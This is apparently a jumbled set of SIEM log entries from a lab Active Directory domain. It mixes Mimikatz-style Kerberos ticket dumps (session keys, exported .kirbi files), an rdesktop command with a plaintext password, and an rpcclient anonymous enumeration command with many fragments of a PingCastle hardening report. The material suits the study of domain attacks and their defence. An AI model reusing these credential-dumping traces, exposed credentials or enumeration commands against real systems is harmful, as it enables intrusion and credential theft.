           Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ;
           Session Key       : 0x00000001 - des_cbc_crc
             ebfbffa745ed09f95d919f14d3c1ed8a
           Ticket            : 0x00000017 - rc4_hmac_nt       ; kvno = 1        [...]
           * Saved to file [0;3e7]-0-3-40a10000-DECKHAND-01$@cifs-Deckhand-02.kirbi !
         [00000004]


_raw: systemctl stop docker-compose-gvm-scanner; systemctl start docker-compose-gvm-scanner; systemctl status docker-compose-gvm-scanner


_raw: C : \ U s e r s \ A d m i n \ n t u s e r . d a t


_raw:
           Start/End/MaxRenew: 11/8/2025 6:43:56 PM ; 11/9/2025 4:43:56 AM ; 11/12/2025 12:43:56 PM
           Service Name (02) : krbtgt ; ALLPORTS.LOCAL ; @ ALLPORTS.LOCAL
           Target Name  (02) : krbtgt ; ALLPORTS.LOCAL ; @ ALLPORTS.LOCAL
           Client Name  (01) : DECKHAND-01$ ; @ ALLPORTS.LOCAL ( ALLPORTS.LOCAL )
           Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
           Session Key       : 0x00000001 - des_cbc_crc
             f07b7d72832b1a99c0ebf8756a29fe289f2e0c9810e14d2616c1cdc840ddf154
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2        [...]
           * Saved to file [0;2f65e6]-2-0-40e10000-DECKHAND-01$@krbtgt-ALLPORTS.LOCAL.kirbi !
Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : DECKHAND-01$
Domain            : APT
Logon Server      : (null)


_raw:
           Start/End/MaxRenew: 11/8/2025 6:38:00 PM ; 11/9/2025 4:38:00 AM ; 11/12/2025 12:38:00 PM
           Service Name (02) : krbtgt ; ALLPORTS.LOCAL ; @ ALLPORTS.LOCAL
           Target Name  (02) : krbtgt ; ALLPORTS.LOCAL ; @ ALLPORTS.LOCAL
           Client Name  (01) : DECKHAND-01$ ; @ ALLPORTS.LOCAL ( ALLPORTS.LOCAL )
           Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
           Session Key       : 0x00000001 - des_cbc_crc
             f6a0c177bf4cab029a21923d5bd9f2ba07de86fb7eb743646982298d38ab6e7e
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2        [...]
           * Saved to file [0;3e7]-2-1-40e10000-DECKHAND-01$@krbtgt-ALLPORTS.LOCAL.kirbi !
Authentication Id : 0 ; 121305883 (00000000:073afb1b)
Session           : RemoteInteractive from 2
User Name         : Guest
Domain            : DECKHAND-01
Logon Server      : DECKHAND-01


_raw: f those accounts by extracting hash values from Tick


_raw: rdesktop -d APT -u "rdavis" -p "rosdav50" 10.0.1.20


_raw: C:\Program Files\Poseidon Booking(11/8/2025 6:12:32 PM)


_raw: C:\Program Files\Poseidon Booking\ManifestSync.ps1(11/8/2025 6:12:32 PM)


_raw: Name	Creation	Last logon	Pwd Last Set	Distinguished name


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Account list">


_raw: <div id="sectionneverexpiresuser" class="collapse" aria-labelledby="headingsectionneverexpiresuser" data-parent="#usersaccordion">


_raw: Objects with a password which never expires


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#sectionneverexpiresuser" aria-expanded="false" aria-controls="sectionneverexpiresuser">


_raw: Nb User Accounts	Nb Enabled 	Nb Disabled 	Nb Active 	Nb Inactive 	Nb AccessDenied 	Nb Locked 	Nb pwd never Expire 	Nb SidHistory 	Nb Bad PrimaryGroup 	Nb Password not Req. 	Nb Des enabled. 	Nb unconstrained delegations 	Nb Reversible password


_raw: <table class="table table-striped table-bordered nopaging aria-label="Account analysis list">


_raw: <!-- SubSection Account analysis end -->


_raw: This section gives information about the user accounts stored in the Active Directory


_raw: <div class="card-body collapse show" id="panelsectionUserInformation">


_raw: No Entra ID configuration has been found in this domain


_raw: allports.local	APT	Windows Server 2016	Windows Server 2016	2025-11-05 14:15:18Z	1	Windows Server 2019	FALSE


_raw: Domain	Netbios Name	Domain Functional Level	Forest Functional Level	Creation date	DC count	Schema version	Recycle Bin enabled


_raw: <table class="table table-striped table-bordered nopaging aria-label="Domain information">


_raw: This section shows the main technical characteristics of the domain.


_raw: <div class="card-body collapse show" id="panelsectionDomainInformation">


_raw:
DNSZone

allports.local

_msdcs.allports.local


_raw: <table class="table table-striped table-bordered">


_raw: The best mitigation is to create the DNS records manually as part as the domain join process and to revoke the permission granted to Authenticated Users.<br>


_raw: It should be noticed that if there is a privilege escalation on a computer, an attacker can impersonate the computer account and bypass this mitigation.<br>


_raw: To perform this change, you have to edit the permission of the DNSZone whose object is located in the container CN=MicrosoftDNS,DC=DomainDnsZones.<br>


_raw: The proposed enhancement is to replace the identity who has been granted the right to create DNS Records (permission CreateChild) from Authenticated Users to Domain Computers.<br>


_raw: The reason for this classification is that no exploitation of that vulnerability has been reported.<br>


_raw:
Advised solution:
As of today, this rule is considered "informative" because the default configuration where Authenticated Users can create DNS records is considered safe.


_raw: One example is to create a wildcard record (a record with the name "*"), a failover DNS record or anticipating the creation of a DNS record with the right permissions.<br>


_raw: The vulnerability is that specific DNS records can be created to perform man-in-the-middle attacks.<br>


_raw: Once created, only the owner keeps the right to edit the new object.<br>


_raw: By design, Microsoft choose to grant to the group Authenticated Users (aka every computers and users) the right to create DNS records.<br>


_raw:
Technical explanation:
When a computer is joined to a domain, a DNS record is created in the DnsZone to allow the computer to update its DNS settings.


_raw:
Description:
The purpose is to check if Authenticated Users has the right to create DNS records


_raw: Check if Authenticated Users can create DNS records


_raw: <div id="rulesA-DnsZoneAUCreateChild" class="collapse" aria-labelledby="headingrulesA-DnsZoneAUCreateChild" data-parent="#rulesAnomalies">


_raw: Authenticated Users can create DNS records


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesA-DnsZoneAUCreateChild" aria-expanded="false" aria-controls="rulesA-DnsZoneAUCreateChild">


_raw: [MITRE]T1210 Exploitation of Remote Services


_raw:
Advised solution:
Remove "Authenticated Users" from the PreWin2000 group.


_raw: Removing the group can have side impacts and as a consequence, this is reported here as a special hardening measure.<br>


_raw: Indeed, in the #PrintNightmare attack, it enables a patch bypass on domain controllers because the property Elevated Token is on when establishing a session to the DC.<br>


_raw: If this group contains "Authenticated Users", it increases the impact of the exploitation of vulnerabilities in legacy protocols such as the Print Spooler service.<br>


_raw: Its default and secure value is the "Authenticated Users" group which allows users to perform group look-up using legacy protocols.<br>


_raw:
Technical explanation:
The pre-Windows 2000 compatible access group grants access to some RPC calls.


_raw:
Description:
The purpose is checking if the "Pre-Windows 2000 Compatible Access" group contains "Authenticated Users"


_raw: Check that the "Pre-Windows 2000 Compatible Access" group does not contain "Authenticated Users"


_raw: <div id="rulesA-PreWin2000AuthenticatedUsers" class="collapse" aria-labelledby="headingrulesA-PreWin2000AuthenticatedUsers" data-parent="#rulesAnomalies">


_raw: The PreWin2000 compatible group contains "Authenticated Users"


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesA-PreWin2000AuthenticatedUsers" aria-expanded="false" aria-controls="rulesA-PreWin2000AuthenticatedUsers">


_raw:
[MITRE]T1087.001 Account Discovery: Local Account
Details:
The detail can be found in Security settings


_raw: The settings that you selected appear as preference items in the Registry Wizard Values collection</p>


_raw: and select the check box for “SrvsvcSessionInfo” from which you want to create a Registry preference item. Select the check box for a key only if you want to create a Registry item for the key rather than for a value within the key.<br>


_raw: Select the reference workstation on which the desired registry settings exist, then click Next .<br>


_raw: Right-click the Registry node, point to New, and select Registry Wizard.<br>


_raw: In the console tree under Computer Configuration, expand the Preferences folder, and then expand the Windows Settings folder.<br>


_raw: Open the Group Policy Management Console. Right-click the Group Policy object (GPO) that should contain the new preference item, and then click Edit .<br>


_raw: Run the NetCease PowerShell script (referenced below) on a reference workstation.<br>


_raw:
Advised solution:
If this mitigation is not part of the computer image, apply the following recommendations:


_raw: Disabling Net Session Enumeration removes the capability for any user to enumerate net session info (Recon).</p>


_raw: Bloodhound uses this capability extensively to map out credentials in the network.<br>


_raw: This means an attacker could enumerate network sessions to a file share hosting home directories or a Domain Controller to see who's connected to SYSVOL (to apply Group Policy) and determine which workstations each user and admin account is logged into.<br>


_raw:
Technical explanation:
By default, Windows computers allow any authenticated user to enumerate network sessions to it.


_raw:
Description:
The purpose is to ensure that mitigations are in place against the Bloodhound tool


_raw: Check if NetCease has been put in place to mitigate Bloodhound


_raw: <div id="rulesA-NoNetSessionHardening" class="collapse" aria-labelledby="headingrulesA-NoNetSessionHardening" data-parent="#rulesAnomalies">


_raw: No GPO has been found which implements NetCease


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesA-NoNetSessionHardening" aria-expanded="false" aria-controls="rulesA-NoNetSessionHardening">


_raw:
[MITRE]Mitre Att&ck - Mitigation - Audit
Details:
The detail can be found in Security settings


_raw: [US]STIG V-68819 - PowerShell script block logging must be enabled


_raw: We recommend to set "*" as the module list.<br>


_raw: And enable "Turn on Module logging" and "Turn on PowerShell Script Block logging"<br>


_raw:
Advised solution:
Go to Computer Configuration -> Administrative Templates -> Windows Components -> Windows PowerShell


_raw: For this reason, we recommend to enable PowerShell logging via a group policy, despite the fact that these security settings may be part of the workstation or server images.<br>


_raw: Because there is no artefact on the disk, the incident response task is difficult for the forensic analysts.<br>


_raw:
Technical explanation:
PowerShell is a powerful language, also used by hackers because of this quality. Hackers are able to run programs such as mimikatz in memory using obfuscated commands such as Invoke-Mimikatz.


_raw:
Description:
The purpose is to ensure that PowerShell logging is enabled.


_raw: <div id="rulesA-AuditPowershell" class="collapse" aria-labelledby="headingrulesA-AuditPowershell" data-parent="#rulesAnomalies">


_raw: The PowerShell audit configuration is not fully enabled.


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesA-AuditPowershell" aria-expanded="false" aria-controls="rulesA-AuditPowershell">


_raw:
[MITRE]T1557.001 Man-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay
Details:
The detail can be found in Security settings


_raw: (if it is the case, the policy involved will be displayed below)</p>


_raw:
Advised solution:
Enable the GPO Turn off multicast name resolution and check that no GPO overrides this setting.


_raw: LLMNR is enabled by default on all OS except starting from Windows 10 v1903 and Windows Server v1903 where it is disabled.<br>


_raw: Being trusted, this service will trigger the single sign on procedure which can be abused to retrieve the user credentials.<br>


_raw: LLMNR exploits typo mistakes or faster response time to redirect users to a specially designed share, server or website.<br>


_raw: Regarding Active Directory, DNS is mandatory which makes LLMNR useless.<br>


_raw:
Technical explanation:
LLMNR is a protocol which translates names such as foo.bar.com into an ip address. LLMNR has been designed to translate name locally in case the default protocol DNS is not available.


_raw:
Description:
The purpose is to ensure that local name resolution protocol (LLMNR) cannot be used to collect credentials by performing a network attack


_raw: Check if LLMNR can be used to steal credentials


_raw: <div id="rulesA-NoGPOLLMNR" class="collapse" aria-labelledby="headingrulesA-NoGPOLLMNR" data-parent="#rulesAnomalies">


_raw: No GPO has been found which disables LLMNR or at least one GPO does enable it explicitly


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesA-NoGPOLLMNR" aria-expanded="false" aria-controls="rulesA-NoGPOLLMNR">


_raw:
[MITRE]T1201 Password Policy Discovery
Details:
The detail can be found in Password Policies


_raw: To solve the anomaly, you should implement a PSO or GPO password guarantying a 20+ length password.</p>


_raw:
Advised solution:
 The recommended way to handle service accounts is to use "Managed service accounts" introduced since Windows Server 2008 R2 (search for "msDS-ManagedServiceAccount").


_raw:
Technical explanation:
The rule is purely informative, as it gives insights regarding a best practice. It verifies if there is a GPO or PSO enforcing a 20+ characters password for the Service Accounts.


_raw: Note: PSO (Password Settings Objects) will be visible only if the user, which collected the information, has the permission to view it.</p>


_raw:
Description:
The purpose is to give information regarding a best practice for the Service Account password policy. Indeed, having a 20+ characters password for this account greatly helps reducing the risk of Kerberoasting attacks (offline cracking of the TGS tickets)


_raw: Check the Password Policy for Service Accounts (Information)


_raw: <div id="rulesA-NoServicePolicy" class="collapse" aria-labelledby="headingrulesA-NoServicePolicy" data-parent="#rulesAnomalies">


_raw: No password policy for service accounts found (MinimumPasswordLength>=20)


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesA-NoServicePolicy" aria-expanded="false" aria-controls="rulesA-NoServicePolicy">


_raw: Add a new line with the content: DenyUnauthenticatedBind=1<br>


_raw:
Advised solution:
Edit the attribute msDS-Other-Settings of the object CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration.


_raw: You should receive the error "The server has been configured to deny unauthenticated simple binds."<br>


_raw: You can test the anonymous access of the rootDse object by launching ldp.exe and selecting 'Connect' on the Connection menu.<br>


_raw: Since Windows 2019, the rootDse access can be set to require authentication.<br>


_raw: There is no confidential data in this attribute, only the Operating System version and the name of the domain.<br>


_raw: On Windows, it can be accessed by default without binding, which allows everyone to access this data.<br>


_raw:
Technical explanation:
The rootDse is a special object that enables clients to discover the functionalities of the server, such as LDAP version or support for special processing.


_raw:
Description:
The purpose is to ensure that Anonymous Binding on RootDse is not enabled


_raw: Ensure that the rootDse Anonymous Binding is disabled


_raw: <div id="rulesA-RootDseAnonBinding" class="collapse" aria-labelledby="headingrulesA-RootDseAnonBinding" data-parent="#rulesAnomalies">


_raw: Anonymous Binding to the rootDse is enabled


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesA-RootDseAnonBinding" aria-expanded="false" aria-controls="rulesA-RootDseAnonBinding">


_raw:
Setting	Position	Value

LDAPAddAuthZVerifications 	28th 	Not Set

LDAPOwnerModify 	29th 	Not Set


_raw: <table class="table table-striped table-bordered">


_raw:
[MITRE]T1187 Forced Authentication
Details:


_raw: [FR]ANSSI - Dangerous dsHeuristics settings (vuln3_dsheuristics_bad)3


_raw: Netwrix Threat Manager monitors and optionally blocks changes to the DsHeuristics attribute, preventing security misconfigurations and mitigating risks such as CVE-2021-42282.


_raw: <div class="card-body collapse pb-0 pt-0" id="relevantProducts_A_DsHeuristicsLDAPSecurity">


_raw: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">


_raw: <div class="relevantproductsheader mb-2" data-bs-toggle="collapse" aria-expanded="false" href="#relevantProducts_A_DsHeuristicsLDAPSecurity" aria-controls="relevantProducts_A_DsHeuristicsLDAPSecurity">


_raw: Typically if the DsHeuristics is empty, the expected new value is 00000000010000000002000000011<br>


_raw: Note: You have to pay attention that there are control characters at the 10th and 20th position to avoid undesired changes of the DsHeuristics attribute.<br>


_raw: Open the procedure embedded into the KB5008383 to apply this mitigation and change the DsHeuristics value.<br>


_raw: The value of LDAPAddAutZVerifications and LDAPOwnerModify should be set to 1.<br>


_raw:
Advised solution:
The easiest and fastest way to correct this issue is to replace the 28th and 29th character of the DsHeuristics attribute.


_raw: - With the value 2 (not recommended), it disables the audit mechanism that has been added by default and do not enable the new security permissions<br>


_raw: - With the value 1 (recommended), it enforces new security permissions, especially to require an action of the domain admin when unusual actions are performed<br>


_raw: - With the value 0 (the default), it enables an additional audit mechanism<br>


_raw: They are named LDAPAddAutZVerifications and LDAPOwnerModify and are respectively the 28th and 29th character of this string.<br>


_raw: Mitigations in CVE-2021-42291 consist of 3 choices to be set on 2 settings.<br>


_raw: Indeed, it is recommended to not let anyone create computer accounts as they can be used to abuse Kerberos or to perform relay attacks.<br>


_raw: The KB5008383 has introduced changes to default security descriptor of Computer containers to add audit and limit computer creation without being admin.<br>


_raw: A parameter stored in its attribute and whose value is LDAPAddAutZVerifications and LDAPOwnerModify can be set to modify the mitigatation of CVE-2021-42291.


_raw:
Technical explanation:
The way an Active Directory behaves can be controlled via the attribute DsHeuristics of CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration.


_raw:
Description:
The purpose is to identify domains having mitigation for CVE-2021-42291 not set to enabled


_raw: Check if the mitigation for CVE-2021-42291 has been enabled


_raw: <div id="rulesA-DsHeuristicsLDAPSecurity" class="collapse" aria-labelledby="headingrulesA-DsHeuristicsLDAPSecurity" data-parent="#rulesAnomalies">


_raw: DsHeuristics has not been set to enable the mitigation for CVE-2021-42291


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesA-DsHeuristicsLDAPSecurity" aria-expanded="false" aria-controls="rulesA-DsHeuristicsLDAPSecurity">


_raw: [MITRE]T1110.003 Brute Force: Password Spraying


_raw: [FR]ANSSI - Dangerous dsHeuristics settings (vuln2_dsheuristics_bad)2


_raw: [US]STIG V-8555 - Anonymous Access to AD forest data above the rootDSE level must be disabled.


_raw:
Advised solution:
The easiest and fastest way to correct this issue is to replace the seventh (7th) character of the DsHeuristics attribute. If it is a 2, replace by 0 to fix the issue.


_raw: It is possible to verify the results provided by the PingCastle solution by using a Kali Linux distribution. You should run rpcclient -U " target_ip_address and press enter at the password prompt to finally type enumdomusers.


_raw:
Technical explanation:
The way an Active Directory behaves can be controlled via the attribute DsHeuristics of CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration. A parameter stored in its attribute and whose value is fLDAPBlockAnonOps can be set to allow access without any account on the whole forest level.


_raw:
Description:
The purpose is to identify domains having a forest setting which allows access to the domain without any account


_raw: Check for access without any account via a forest wide setting


_raw: <div id="rulesA-DsHeuristicsAnonymous" class="collapse" aria-labelledby="headingrulesA-DsHeuristicsAnonymous" data-parent="#rulesAnomalies">


_raw: DsHeuristics has been set to allow anonymous sessions.


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesA-DsHeuristicsAnonymous" aria-expanded="false" aria-controls="rulesA-DsHeuristicsAnonymous">


_raw:
[MITRE]Mitre Att&ck - Mitigation - Data Backup
Details:
The detail can be found in Domain controllers


_raw:
Points:
5 points if the occurence is strictly lower than 2


_raw: Netwrix Recovery for Active Directory helps ensure business continuity by quickly restoring domain controller in case of a failure, minimizing downtime.


_raw: <div class="card-body collapse pb-0 pt-0" id="relevantProducts_A_NotEnoughDC">


_raw: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">


_raw: <div class="relevantproductsheader mb-2" data-bs-toggle="collapse" aria-expanded="false" href="#relevantProducts_A_NotEnoughDC" aria-controls="relevantProducts_A_NotEnoughDC">


_raw:
Advised solution:
Increase the number of domain controllers by installing new ones.


_raw:
Technical explanation:
A single domain controller failure can lead to a lack of availability of the domain if the number of servers is too low. To have a minimum redundancy, the number of DC should be at least 2. For Labs, this rule can be ignored, and you can add this rule into the exception list.


_raw:
Description:
The purpose is to ensure the failure of one domain controller will not stop the domain.


_raw: Ensure that there are enough DCs to provide basic redundancy


_raw: <div id="rulesA-NotEnoughDC" class="collapse" aria-labelledby="headingrulesA-NotEnoughDC" data-parent="#rulesAnomalies">


_raw: The number of DCs is too small to provide redundancy: 1 DC


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesA-NotEnoughDC" aria-expanded="false" aria-controls="rulesA-NotEnoughDC">


_raw: <table class="table table-striped table-bordered">


_raw: This includes auditing the clients which are not compatible and instructions on how to enforce this policy.</p>


_raw: You have to follow the Microsoft article quoted in reference to enable LDAP signing.<br>


_raw: All versions of Windows since XP support this and also most of the Unix clients.<br>


_raw:
Advised solution:
You have to make sure that ALL LDAP clients are compatible with LDAP signature.


_raw: False positives may exists if the PingCastle program is run on the server tested. That's why, if PingCastle is run on a DC, the DC will not be tested.<br>


_raw: PingCastle is testing if this setting is in place by performing a LDAP authentication with and without signature enforcement.<br>


_raw: The opposite test is made with the flag ISC_REQ_NO_INTEGRITY set.<br>


_raw: Signature enforcement is done by setting the flag ISC_REQ_INTEGRITY when initializig the Negotiate / NTLM / Kerberos authentication.<br>


_raw: This test is made by ignoring the local computer security policies.<br>


_raw: For example to add a user to the admin group.<br>


_raw:
Technical explanation:
If the the request for signing of each LDAP request is not enforced, a man in the middle can be performed on an LDAP connection.


_raw:
Description:
The purpose is to check if signing is really required for LDAP


_raw: Check if signing is really required for LDAP


_raw: <div id="rulesA-DCLdapSign" class="collapse" aria-labelledby="headingrulesA-DCLdapSign" data-parent="#rulesAnomalies">


_raw: A LDAP authentication without signature enforcement was allowed


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesA-DCLdapSign" aria-expanded="false" aria-controls="rulesA-DCLdapSign">


_raw:
GPO	Key	RequireIntegrity	RequireMutualAuthentication	RequirePrivacy

No GPO Found  	NETLOGON 	Not Set 	Not Set 	Not Set

No GPO Found  	SYSVOL 	Not Set 	Not Set 	Not Set


_raw: <table class="table table-striped table-bordered">


_raw:
[MITRE]T1557.001 Man-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay
Details:
The detail can be found in the Hardened Paths configuration section.


_raw: [US]STIG V-63577 - Hardened UNC Paths must be defined to require mutual authentication and integrity for at least the \\*\SYSVOL and \\*\NETLOGON shares.


_raw: Netwrix Threat Manager</a> monitors and optionally  blocks unauthorized changes to Group Policy Objects (GPOs), helping protect against domain takeover attacks. </li>


_raw: <div class="card-body collapse pb-0 pt-0" id="relevantProducts_A_HardenedPaths">


_raw: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">


_raw: <div class="relevantproductsheader mb-2" data-bs-toggle="collapse" aria-expanded="false" href="#relevantProducts_A_HardenedPaths" aria-controls="relevantProducts_A_HardenedPaths">


_raw: In addition to that, check entries having the pattern \\DCName\* and apply the same solution.</p>


_raw: Check each value reported here and make sure that entries containing SYSVOL or NETLOGON have RequireIntegrity and RequireMutualAuthentication set to 1.<br>


_raw: This section is located in Computer Configuration/Policies/Administrative Templates/Network/Network Provider.<br>


_raw:
Advised solution:
You have to edit the Hardened Path section in the GPO.


_raw: This rule checks if there have been any overwrite to disable this protection.<br>


_raw: By default if this policy is empty, if will enforce Integrity and Mutual Authentication on the SYSVOL or NETLOGON shares.<br>


_raw: To mitigate these vulnerabilites, Microsoft has designed a workaround named "Hardened Paths". It forces connection settings to enforce Integrity, Mutual Authentication or Privacy.<br>


_raw:
Technical explanation:
Two vulnerabilities have been reported in 2015 (MS15-011 and MS15-014) which allows a domain takeover via GPO modifications done with a man-in-the-middle attack.


_raw:
Description:
The purpose is to ensure that there is no weakness related to hardened paths


_raw: <div id="rulesA-HardenedPaths" class="collapse" aria-labelledby="headingrulesA-HardenedPaths" data-parent="#rulesAnomalies">


_raw: Hardened Paths have been modified to lower the security level


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesA-HardenedPaths" aria-expanded="false" aria-controls="rulesA-HardenedPaths">


_raw: <table class="table table-striped table-bordered">


_raw:
[MITRE]T1110.002 Brute Force: Password Cracking
Details:
The detail can be found in Security settings


_raw: [FR]ANSSI - Accounts with passwords stored using reversible encryption (vuln3_reversible_password)3


_raw:
Advised solution:
In order to remove the reversible passwords, we advise to identify the GPO indicated by the program and change the setting "Store passwords using reversible encryption"


_raw:
Technical explanation:
The policy "Store passwords using reversible encryption" is enabled. In this case, it means that the password is actually stored in clear text in the supplementalCredential attribute of the account and that it can be retrieved using a DCSync attack.


_raw:
Description:
The purpose is to verify if a GPO alters the password policy of the domain to enable reversible passwords


_raw: Check for GPO which enables reversible passwords


_raw: <div id="rulesA-ReversiblePwd" class="collapse" aria-labelledby="headingrulesA-ReversiblePwd" data-parent="#rulesAnomalies">


_raw: At least one policy has been found where the reversible encryption has been enabled [1]


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesA-ReversiblePwd" aria-expanded="false" aria-controls="rulesA-ReversiblePwd">


_raw:
DCName	IP	Interface	Function	OpNum

APT-DC-01 	10.0.1.6 	12345678-1234-abcd-ef00-0123456789ab 	RpcRemoteFindFirstPrinterChangeNotification 	62

APT-DC-01 	10.0.1.6 	12345678-1234-abcd-ef00-0123456789ab 	RpcRemoteFindFirstPrinterChangeNotificationEx 	65


_raw:
[MITRE]T1187 Forced Authentication
Details:
The detail can be found in Domain controllers


_raw: Be cautious of potential impact and ensure compatibility with existing infrastructure.<br>


_raw: Notable project: rpcfirewall https://github.com/zeronetworks/rpcfirewall, offering logical filtering at the OpNum level.<br>


_raw: Leverage third-party solutions, such as Endpoint Detection and Response (EDR) tools or firewalls.<br>


_raw: 3. Implement External Filters (e.g., EDR, Firewalls):<br>


_raw: Adjust exceptions for necessary services to ensure critical functionality.<br>


_raw: Exercise caution: This method filters the entire interface, not specific Operation Numbers (OpNum).<br>


_raw: This is done using the netsh command. See the documentation links for more information.<br>


_raw: Configure Windows Firewall to block specific Interface IDs associated with vulnerable RPC interfaces.<br>


_raw: 2. Enable RPC Filters in Windows Firewall:<br>


_raw: Consider setting the GPO in "Audit mode" initially to identify and assess the impact on affected services.<br>


_raw: Caution: Enabling this GPO might impact services dependent on NTLM such as files copy Backups.<br>


_raw: Apply this GPO specifically to the Organizational Unit (OU) "Domain Controllers".<br>


_raw: 1. Apply Group Policy Object (GPO) - "Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers":<br>


_raw:
Advised solution:
To effectively mitigate the vulnerability, consider one of the following approaches:


_raw: Also to avoid EDR alerts or to not perform the scan, you can run PingCastle with the flag --skip-dc-rpc</p>


_raw: A report that a vulnerable interface is online may not be accurate because its full exploitation is not tested.<br>


_raw: If the error RPC_X_BAD_STUB_DATA (1783) is triggered, PingCastle considers that the interface is available.<br>


_raw: Instead, it sends a malformed RPC packet to try to trigger an error such as "Permission denied" or "RPC interface unavailable".<br>


_raw: Because these interfaces need to be tested from a computer controlled by the attacker, PingCastle cannot do this test with reliability.<br>


_raw: - or if RPC interfaces are not reachable<br>


_raw: - the GPO "Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers" is applied through a GPO to DC<br>


_raw: PingCastle estimates that Coerceable interfaces are protected if:<br>


_raw: Because each of these protections can be individually bypassed (NTLM integrity is disabled on LDAPS), the aim of this scan is to detect proactively if vulnerable RPC services are exposed.<br>


_raw: This category of attacks is usually mitigated by  applying patch (PetitPotam), disabling services (Spooler), added RPC filter (EDR or firewall) or ensuring integrity (SMB integrity).<br>


_raw:
Technical explanation:
Coerce attacks are a category of attacks which aims to forcing domain controllers to authenticate to a device controlled by the attacker for the purpose to relay this authentication to gain privileges.


_raw:
Description:
The objective is to assess the vulnerability of the Domain Controller (DC) to Coerce attacks.


_raw: RPC interfaces potentially vulnerable to Coerce attacks


_raw: <div id="rulesA-DC-Coerce" class="collapse" aria-labelledby="headingrulesA-DC-Coerce" data-parent="#rulesAnomalies">


_raw: RPC interfaces of DC are likely vulnerable to coercion attacks. Identified interfaces: 2


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesA-DC-Coerce" aria-expanded="false" aria-controls="rulesA-DC-Coerce">


_raw:
Type	Audit	Problem	Rationale	Domain controller

Advanced 	Policy Change / Authentication Policy Change 	No GPO check for audit success 	Collect events 4713, 4716, 4739, 4867, to track trust modifications 	APT-DC-01

Advanced 	Account Management / Computer Account Management 	No GPO check for audit success 	Collect events 4741, 4742 to track computer changes 	APT-DC-01

Advanced 	Detailed Tracking / DPAPI Activity 	No GPO check for audit success 	Collect event 4692 to track the export of DPAPI backup key 	APT-DC-01

Advanced 	Account Logon / Kerberos Authentication Service 	No GPO check for audit success 	Collect events 4768, 4771 for kerberos authentication 	APT-DC-01

Advanced 	Account Logon / Kerberos Service Ticket Operations 	No GPO check for audit success 	Collect events 4769 for kerberos authentication 	APT-DC-01

Advanced 	Logon/Logoff / Logoff 	No GPO check for audit success 	Collect events 4634 for account logoff 	APT-DC-01

Advanced 	Logon/Logoff / Logon 	No GPO check for audit success 	Collect events 4624, 4625, 4648 for account logon 	APT-DC-01

Advanced 	Detailed Tracking / Process Creation 	No GPO check for audit success 	Collect event 4688 to get the history of executed programs 	APT-DC-01

Advanced 	Account Management / Security Group Management 	No GPO check for audit success 	Collect events 4728, 4732, 4756 for group membership change 	APT-DC-01

Advanced 	System / Security System Extension 	No GPO check for audit success 	Collect events 4610, 4697 to track lsass security packages and services 	APT-DC-01

Advanced 	Privilege Use / Sensitive Privilege Use 	No GPO check for audit success 	Collect events 4672, 4673, 4674 for privileges tracking such as the debug one 	APT-DC-01

Advanced 	Logon/Logoff / Special Logon 	No GPO check for audit success 	Collect event 4964 for special group attributed at logon 	APT-DC-01

Advanced 	Account Management / User Account Management 	No GPO check for audit success 	Collect events 4720,22,23,38,65,66,80,94 for user account mamangement 	APT-DC-01


_raw: <table class="table table-striped table-bordered">


_raw: The table below shows the settings that were not found as configured in a GPO for a given domain controller.


_raw:
[MITRE]Mitre Att&ck - Mitigation - Audit
Details:
The detail can be found in Audit settings


_raw: Also be sure that the audit GPO is applied to all domain controllers, as the underlying object may be in a OU where the GPO is not applied.<br>


_raw: in Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Advanced Audit Policy Configuration<br>


_raw: in Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Local Policies -> Audit Policies<br>


_raw: Be aware that there are two places for audit settings.<br>


_raw:
Advised solution:
Identify the Audit settings to apply and fix them.


_raw: To solve this problem, the suggested audit policy from adsecurity.org is checked against the audit policy in place.<br>


_raw: The audit policy is a compromise between too much and too few events to collect.<br>


_raw:
Technical explanation:
To detect and mitigate an attack, the right set of events need to be collected.


_raw:
Description:
The purpose is to ensure that the audit policy on domain controllers collects the right set of events.


_raw: Check if there is the expected audit policy on domain controllers.


_raw: <div id="rulesA-AuditDC" class="collapse" aria-labelledby="headingrulesA-AuditDC" data-parent="#rulesAnomalies">


_raw: The audit policy on domain controllers does not collect key events.


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesA-AuditDC" aria-expanded="false" aria-controls="rulesA-AuditDC">


_raw:
[MITRE]T1201 Password Policy Discovery
Details:
